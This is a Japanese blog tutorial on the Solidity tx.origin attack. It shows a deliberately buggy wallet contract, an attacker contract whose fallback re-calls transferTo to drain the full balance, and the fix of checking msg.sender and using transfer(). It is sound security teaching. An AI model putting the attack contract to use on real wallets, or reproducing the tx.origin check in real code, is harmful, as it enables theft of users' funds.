5
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

tx.origin攻撃

Posted at

要約

ユーザ認証にtx.originを使ってはいけませんというお話。

バグのあるウォレット

fallback関数による入金機能と、transferTo関数による送金機能、それとgetBalance関数による残高確認機能のみのシンプルなスマートコントラクトウォレットを作りました。

pragma solidity ^0.4.11;

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract MyWallet {
    address owner;

    function MyWallet() public {
        owner = msg.sender;
    }

    function() public payable {}
    
    function transferTo(address _dest, uint _amount) public {
        require(tx.origin == owner); // BAD
        _dest.call.value(_amount)();
    }
    
    function getBalance() public view returns (uint) {
        return this.balance;
    }
}

transferTo関数ではrequireでこのコントラクトをインストールした自分以外の呼び出しはエラーになるようにしてあります。誰かに残高を盗まれたら困りますからね。

そして1ETHを入金しておきました。getBalance関数を呼ぶと1000000000000000000が返ってきます。

送金

なにか物を買うかして、アドレス0x0123456789abcdef0123456789abcdef01234567に10weiを送金することになりました。

transferTo(0x0123456789abcdef0123456789abcdef01234567, 10)

を実行すれば良いです。簡単ですね。

残高確認

getBalance関数を呼ぶと0が返ってきました??????

攻撃ウォレット

実はアドレス0x0123456789abcdef0123456789abcdef01234567はEOAではなくコントラクトでした。

pragma solidity ^0.4.11;

interface Wallet {
    function transferTo(address _dest, uint _amount) public;
}

contract AttackWallet {
    address owner;

    function AttackWallet() public {
        owner = msg.sender;
    }

    function() public payable {
        Wallet(msg.sender).transferTo(owner, msg.sender.balance);
    }
}

MyWalletからAttackWalletへ送金をすると、AttackWalletのfallback関数が呼ばれます。AttackWalletのfallback関数では、再度MyWalletのtransferTo関数を呼んでいます。transferTo関数で呼び出し元をチェックしているから大丈夫… と思いきや、チェックしているのはtransferTo関数の呼び出し元ではなく、**tx.origin(トランザクションの呼び出し元)**です。トランザクションの呼び出し元は最初にtransferTo関数を呼んだEOAアカウント、つまりMyWalletのownerなので、requireは成立してしまい、MyWalletの全ての残高はAttackWalletのownerに送金されてしまいました。

どうすれば良かったのか

この部分

        require(tx.origin == owner); // BAD

呼び出し元チェックはmsg.senderを使いましょう

        require(msg.sender == owner); // GOOD

また、 https://qiita.com/k-keisuke/items/cd2744c7ba085beff16b にあるように、送金時はaddress.call.value()()ではなく、addess.transfer()を使いましょう。後者はfallback関数で2300gasを超える処理を実行するとエラーになります。

参考

http://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin
ここのコードを若干改変

https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514
解説はここを参考

5
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?